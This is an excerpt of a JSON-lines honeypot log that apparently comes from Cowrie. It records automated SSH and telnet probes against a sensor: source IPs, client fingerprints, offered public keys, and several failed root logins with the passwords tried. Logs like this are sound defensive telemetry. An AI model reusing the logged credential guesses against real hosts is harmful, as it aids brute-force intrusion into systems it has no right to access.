{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41328,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a59db416241","protocol":"telnet","message":"New connection: 45.58.127.90:41328 (10.17.0.5:23) [session: 2a59db416241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:19.702374Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:f5:8b:ac:e5:12:f9:32:57:4a:86:f8:97:cd:d5:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+rRG1FJAIRpbt/gXVTKpZraBHFRSSoe6pAinUwDdru1wTDy3OyHmxH4EG/kW+SSE+0yXvFo5gfg0WeKKGKmwwj1ekfyrPKpRxUXvIa1XRd2msaTc8jKROGgu6kR0EAFZBPnqj1TqdZ2qUtZTVIss1yGwKvrqkxbJUzq0oQFzsU3RTm5KlOjRBlOdMCAPiBC/eMCeMH/Q18Va0ffADWcyow/e80kffHsD6hlgD22V+tFq+B6+arL/yupfaXwUc2fSq7/y1+qnEKaAFn2XlnAqmKa0m2hTiVcbFzyuMgorNVc2IB3wM1ip9df/l3AR2lfJ1e6HQx3oPOz2GjngWX4ph","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:f5:8b:ac:e5:12:f9:32:57:4a:86:f8:97:cd:d5:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:20.094091Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:f5:8b:ac:e5:12:f9:32:57:4a:86:f8:97:cd:d5:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+rRG1FJAIRpbt/gXVTKpZraBHFRSSoe6pAinUwDdru1wTDy3OyHmxH4EG/kW+SSE+0yXvFo5gfg0WeKKGKmwwj1ekfyrPKpRxUXvIa1XRd2msaTc8jKROGgu6kR0EAFZBPnqj1TqdZ2qUtZTVIss1yGwKvrqkxbJUzq0oQFzsU3RTm5KlOjRBlOdMCAPiBC/eMCeMH/Q18Va0ffADWcyow/e80kffHsD6hlgD22V+tFq+B6+arL/yupfaXwUc2fSq7/y1+qnEKaAFn2XlnAqmKa0m2hTiVcbFzyuMgorNVc2IB3wM1ip9df/l3AR2lfJ1e6HQx3oPOz2GjngWX4ph","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:20.097750Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:7d:62:59:be:2e:20:a1:6d:3e:c0:e4:f6:33:65:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDa0FbztvAVkov3LoxUl4iGrMd51fn2rg6gYthUYGu4NPDysH8r5jSjw37+WTxIL4vSCkqzTpB72xpwy+75IaFl0888ECLK9uW7zzLMU/5mb4wOLf1jdK7sXx98P95XiJRfcNnIBKx+8mz2EY2nmrqk3upzK+HVh8x2H+vlDPIu4E2yNhq85eOBjmyJs56KuPbXFLa0o4T2e5nrh1VrQg4jLdKvIuKv7jHJqghqbJPXJxJr4t0TfzBksAGmuBOgMOlDDv3mVSKeLgYcMHs+/mvdAW5s6lBCg9DPUMRfgZAM7lxS7fC44DP7ZTowFrIUNxXc9uQtZ9J8idmLiRj/b02J5Hx28LY7bFsap7cAHFbwYzwILnQbRCEcwjmOMWx16Jb+9L97THwtPQloqKD0HdCCO0Td/JSaaSpNr12ihHGNLG7FWnU8ORK2KN1xSo9z19zm4MmXYz4olSedzXvObCCP9CCX+sAR3Yz5XTFIxSh1kRRmYxhDD0Tbf3WOXXXIQ0B9wQlx4ddR8M3h9r/c63N0bCnQANj5SDY01HbM70no1igKEITdqFXNsyRcoTM2T40XveOicx4906HbhwbSKicsBPfX6ak/g6W4B2JjH3CqUkIOUjQldtWhGo30+HyO89WRNjyuOzAsrqbZlI5Lw7le3xKp8b2nmIifmJZcNwMnwQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:7d:62:59:be:2e:20:a1:6d:3e:c0:e4:f6:33:65:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:20.239074Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:7d:62:59:be:2e:20:a1:6d:3e:c0:e4:f6:33:65:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDa0FbztvAVkov3LoxUl4iGrMd51fn2rg6gYthUYGu4NPDysH8r5jSjw37+WTxIL4vSCkqzTpB72xpwy+75IaFl0888ECLK9uW7zzLMU/5mb4wOLf1jdK7sXx98P95XiJRfcNnIBKx+8mz2EY2nmrqk3upzK+HVh8x2H+vlDPIu4E2yNhq85eOBjmyJs56KuPbXFLa0o4T2e5nrh1VrQg4jLdKvIuKv7jHJqghqbJPXJxJr4t0TfzBksAGmuBOgMOlDDv3mVSKeLgYcMHs+/mvdAW5s6lBCg9DPUMRfgZAM7lxS7fC44DP7ZTowFrIUNxXc9uQtZ9J8idmLiRj/b02J5Hx28LY7bFsap7cAHFbwYzwILnQbRCEcwjmOMWx16Jb+9L97THwtPQloqKD0HdCCO0Td/JSaaSpNr12ihHGNLG7FWnU8ORK2KN1xSo9z19zm4MmXYz4olSedzXvObCCP9CCX+sAR3Yz5XTFIxSh1kRRmYxhDD0Tbf3WOXXXIQ0B9wQlx4ddR8M3h9r/c63N0bCnQANj5SDY01HbM70no1igKEITdqFXNsyRcoTM2T40XveOicx4906HbhwbSKicsBPfX6ak/g6W4B2JjH3CqUkIOUjQldtWhGo30+HyO89WRNjyuOzAsrqbZlI5Lw7le3xKp8b2nmIifmJZcNwMnwQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:20.243967Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:12:7c:b7:50:cf:17:7c:fc:35:31:78:a8:7f:c1:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDr0WF0eX4RMk4AgmhTwaHZq1XMcy/YtDjLf6FooVa/kh7m1kF+Fa6bKxJcGwdW4/44I8td9y+Km7jwKwJL5fp2gDk9L7HR0U7DYuvkEfSNpRJD95/tV6jIZlLKWvQND8PsZ9rHqe2y833VYPF2m7ffDX1YLfAcnew89ed5s10Ty94le5NEP0UIDOTPMwatq8PiD+bxFAVwzTWN7J1X/5ZOUF8Q0LiSwmlsbWCLY8XF7ffMrqMgBOx+0Or5aVXAhdapdaBnnJ7UCvdxDbgB+W/+l3MyTCZATbKCYDBTcN25hD+kyNONxEILiCy/jI+k9zYewgKdqtxeehJ+86BUha5hRusmfMDbNYHIBPm7qytL8E54dwy+GoW4OyV+x4+g8GeNmvJ2YFNHStrNY6PysBZihsxe9UfkWzOl3CAipM+fl10UJhEx2W6vwpvORatwnQW7xBagYc/2NnhCCeVSu0K7imYWjOXBOtYhuw8nUEhlBbP7QWOl5gaOTnC/7uGhnVYxQtsbr7KVrc4DJ4/sjhKSd9GEmLz/13BKZxALAD1nJsoLse9Y6ntA/QQZf5axJ+MqQv5YdUwZX9BA+XIosfJPzGWWtI6uIRm1ZJTVpfHHw4B94Vg40SHv4ty0XPSw46SipEhtxpRrQTiVUt1IL2Rmb93tyxKj/up310t8qN+dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:12:7c:b7:50:cf:17:7c:fc:35:31:78:a8:7f:c1:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:20.387331Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:12:7c:b7:50:cf:17:7c:fc:35:31:78:a8:7f:c1:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDr0WF0eX4RMk4AgmhTwaHZq1XMcy/YtDjLf6FooVa/kh7m1kF+Fa6bKxJcGwdW4/44I8td9y+Km7jwKwJL5fp2gDk9L7HR0U7DYuvkEfSNpRJD95/tV6jIZlLKWvQND8PsZ9rHqe2y833VYPF2m7ffDX1YLfAcnew89ed5s10Ty94le5NEP0UIDOTPMwatq8PiD+bxFAVwzTWN7J1X/5ZOUF8Q0LiSwmlsbWCLY8XF7ffMrqMgBOx+0Or5aVXAhdapdaBnnJ7UCvdxDbgB+W/+l3MyTCZATbKCYDBTcN25hD+kyNONxEILiCy/jI+k9zYewgKdqtxeehJ+86BUha5hRusmfMDbNYHIBPm7qytL8E54dwy+GoW4OyV+x4+g8GeNmvJ2YFNHStrNY6PysBZihsxe9UfkWzOl3CAipM+fl10UJhEx2W6vwpvORatwnQW7xBagYc/2NnhCCeVSu0K7imYWjOXBOtYhuw8nUEhlBbP7QWOl5gaOTnC/7uGhnVYxQtsbr7KVrc4DJ4/sjhKSd9GEmLz/13BKZxALAD1nJsoLse9Y6ntA/QQZf5axJ+MqQv5YdUwZX9BA+XIosfJPzGWWtI6uIRm1ZJTVpfHHw4B94Vg40SHv4ty0XPSw46SipEhtxpRrQTiVUt1IL2Rmb93tyxKj/up310t8qN+dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:20.395320Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:6f:3d:e4:98:83:6f:9b:c3:f7:17:44:c7:d3:6a:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDi3ygcOv0pe0ITAUD+64Cfx25MbaYWDG+L/UToGB0IJAUU2C3bdtNexEKGCCInlrfylqEwjNL0/gQJ1mLS3hETgBpqZacdZ8DbWAPG5ZguXCrwURRsuyN7S2zEOpg/e5ihk1iHnLuGFAW3JhXPk+B5gp9Qg06STVCFuWoMbn1Z6vxKASge/sn4ZDAV6cWoHUO//tcvyQyiGeAGQJZgCMUKGtvh+RtrO1L9SZ578z7ro7yQi3VDwQRhZeGdISXekB4g0o2vDPSEJ+Fk9VQXBTaUI28cOZJqUibdh7M/ShbnmEQXxAxJYbtHTuK9B80vLAGJxqq8TklNx6Pn63vrbb9RgL7vnGjsDfRNaNsf3ttPJk1Rv8UbpC99XXmKT7RNSqPH4WsJj8b8ApPglNsVOKZpE0FR3JruWgBrFU4fbxoyWxA2YauT/6YMfl0zCjhNSpyy06PzHfSSJxOrxAufXOnR0PlM+CMfNBeHYrx+xMB+GKKZfIcQLJViNU/u/dKf9VloIVTN15ISbwfXSrEL9Jikcn9NW0WSCjtfFNlEKc+YWC9NFA+GeirhSDVLqIV/lBjY2smcX8r87JOxACcXJuJjC0OOXUmWdCr1MgvF1e5KrrPJYrlWLm5TyyDTx6XG0AQ23tJxBkWWWfQn8npPBllVM0FpK8PKtsHPWOqkVW6tlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:6f:3d:e4:98:83:6f:9b:c3:f7:17:44:c7:d3:6a:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:20.537455Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:6f:3d:e4:98:83:6f:9b:c3:f7:17:44:c7:d3:6a:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDi3ygcOv0pe0ITAUD+64Cfx25MbaYWDG+L/UToGB0IJAUU2C3bdtNexEKGCCInlrfylqEwjNL0/gQJ1mLS3hETgBpqZacdZ8DbWAPG5ZguXCrwURRsuyN7S2zEOpg/e5ihk1iHnLuGFAW3JhXPk+B5gp9Qg06STVCFuWoMbn1Z6vxKASge/sn4ZDAV6cWoHUO//tcvyQyiGeAGQJZgCMUKGtvh+RtrO1L9SZ578z7ro7yQi3VDwQRhZeGdISXekB4g0o2vDPSEJ+Fk9VQXBTaUI28cOZJqUibdh7M/ShbnmEQXxAxJYbtHTuK9B80vLAGJxqq8TklNx6Pn63vrbb9RgL7vnGjsDfRNaNsf3ttPJk1Rv8UbpC99XXmKT7RNSqPH4WsJj8b8ApPglNsVOKZpE0FR3JruWgBrFU4fbxoyWxA2YauT/6YMfl0zCjhNSpyy06PzHfSSJxOrxAufXOnR0PlM+CMfNBeHYrx+xMB+GKKZfIcQLJViNU/u/dKf9VloIVTN15ISbwfXSrEL9Jikcn9NW0WSCjtfFNlEKc+YWC9NFA+GeirhSDVLqIV/lBjY2smcX8r87JOxACcXJuJjC0OOXUmWdCr1MgvF1e5KrrPJYrlWLm5TyyDTx6XG0AQ23tJxBkWWWfQn8npPBllVM0FpK8PKtsHPWOqkVW6tlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:20.541937Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:4f:28:7f:b2:c1:3c:8a:b2:00:d2:1c:9b:39:d9:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaRgtuDoxXdgg9TD8DOKFmNMgVbKDIITR4SKcGKfr0XwhQ7amAebLQ9IFpo8+8n2g54iMextyzm2vFEBIU7zpjhBYfYZSGRNbtVhLJrQIy8feuz0izmEF3/5u1O5XfqsvAeTW3y1uedAO0yvOvj/Idw6rYzCtybCmbO8AmVDt/kLYPsivHTQmEu4zVGCqdb7sZQgizPzrf8fxas6G0U6gH7i4qYb3SQcBUeqpfwAjz9xE4kd/za28GmFnHCQ+8mVdoTOuMnFtKgL4H031qtct+5B/qlfqslbDhFBuo04obOBuCj8neE2/OLv4Kz4NthKhwephOmcjWVeisRlA98SvsobPl5EZjjhNuF8u01ValjjskTc+cUA8/1ROKzdAF6ws/t/ZPge5Yvi7czm9AmsO4itZ/0NDasUlb/pUqvsLOW11xMrGa/ZbTI9LaRM3BeeKlendw19/0Ksof8h6hewXa4JlZ8MvGRdxhEGBMAMwohWKu4+Fl1zBnGkJVs+6KeqACwOqINyWLiOLkii/mmTX/NxJQK7nzhq5O39fkDG0dpbAwfuUif0hmbIRqwrnnPXXrdxH8rGQvJSnDU5UEKqB2odll7QPaIVcmU1uoBxioV2kgkDGPHh9oroCVX3Xl2S2WcKn1BtO3rpyDnIW/jn1kSLCJfT5/tJblVMtZX+BtSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:4f:28:7f:b2:c1:3c:8a:b2:00:d2:1c:9b:39:d9:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:20.683247Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:4f:28:7f:b2:c1:3c:8a:b2:00:d2:1c:9b:39:d9:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaRgtuDoxXdgg9TD8DOKFmNMgVbKDIITR4SKcGKfr0XwhQ7amAebLQ9IFpo8+8n2g54iMextyzm2vFEBIU7zpjhBYfYZSGRNbtVhLJrQIy8feuz0izmEF3/5u1O5XfqsvAeTW3y1uedAO0yvOvj/Idw6rYzCtybCmbO8AmVDt/kLYPsivHTQmEu4zVGCqdb7sZQgizPzrf8fxas6G0U6gH7i4qYb3SQcBUeqpfwAjz9xE4kd/za28GmFnHCQ+8mVdoTOuMnFtKgL4H031qtct+5B/qlfqslbDhFBuo04obOBuCj8neE2/OLv4Kz4NthKhwephOmcjWVeisRlA98SvsobPl5EZjjhNuF8u01ValjjskTc+cUA8/1ROKzdAF6ws/t/ZPge5Yvi7czm9AmsO4itZ/0NDasUlb/pUqvsLOW11xMrGa/ZbTI9LaRM3BeeKlendw19/0Ksof8h6hewXa4JlZ8MvGRdxhEGBMAMwohWKu4+Fl1zBnGkJVs+6KeqACwOqINyWLiOLkii/mmTX/NxJQK7nzhq5O39fkDG0dpbAwfuUif0hmbIRqwrnnPXXrdxH8rGQvJSnDU5UEKqB2odll7QPaIVcmU1uoBxioV2kgkDGPHh9oroCVX3Xl2S2WcKn1BtO3rpyDnIW/jn1kSLCJfT5/tJblVMtZX+BtSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:20.687205Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:20.828780Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:29.948045Z","src_ip":"47.239.15.75","session":"f249dc9b9bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.6","message":"Connection lost after 22.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:33.229986Z","src_ip":"47.239.15.75","session":"f249dc9b9bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":38538,"dst_ip":"159.203.135.109","dst_port":22,"session":"530a7a2950c9","protocol":"ssh","message":"New connection: 198.98.55.71:38538 (159.203.135.109:22) [session: 530a7a2950c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:55.754719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:55.759590Z","src_ip":"198.98.55.71","session":"530a7a2950c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:55.768255Z","src_ip":"198.98.55.71","session":"530a7a2950c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2024@","message":"login attempt [root/Root2024@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:55.818356Z","src_ip":"198.98.55.71","session":"530a7a2950c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:56.827501Z","src_ip":"198.98.55.71","session":"530a7a2950c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.95193958282471,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:59.654145Z","src_ip":"45.58.127.90","session":"2a59db416241","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":60944,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c6239bfbd07","protocol":"ssh","message":"New connection: 87.106.29.151:60944 (159.203.135.109:22) [session: 8c6239bfbd07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:02.613130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:02.618231Z","src_ip":"87.106.29.151","session":"8c6239bfbd07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:02.711884Z","src_ip":"87.106.29.151","session":"8c6239bfbd07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dq123456.","message":"login attempt [root/Dq123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:03.115299Z","src_ip":"87.106.29.151","session":"8c6239bfbd07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":39224,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5c4676ac244","protocol":"ssh","message":"New connection: 47.239.15.75:39224 (159.203.135.109:22) [session: d5c4676ac244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:03.973798Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:04.211539Z","src_ip":"87.106.29.151","session":"8c6239bfbd07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":38740,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d633f95275e","protocol":"ssh","message":"New connection: 47.239.15.75:38740 (159.203.135.109:22) [session: 6d633f95275e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:14.301801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:14.662328Z","src_ip":"47.239.15.75","session":"6d633f95275e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.247.137.22","src_port":38057,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3e30f73939d","protocol":"ssh","message":"New connection: 185.247.137.22:38057 (10.17.0.5:22) [session: b3e30f73939d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:17.835326Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:19.835992Z","src_ip":"185.247.137.22","session":"b3e30f73939d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.247.137.22","src_port":55129,"dst_ip":"10.17.0.5","dst_port":22,"session":"002206ad43bc","protocol":"ssh","message":"New connection: 185.247.137.22:55129 (10.17.0.5:22) [session: 002206ad43bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:19.903793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:19.909791Z","src_ip":"185.247.137.22","session":"002206ad43bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nis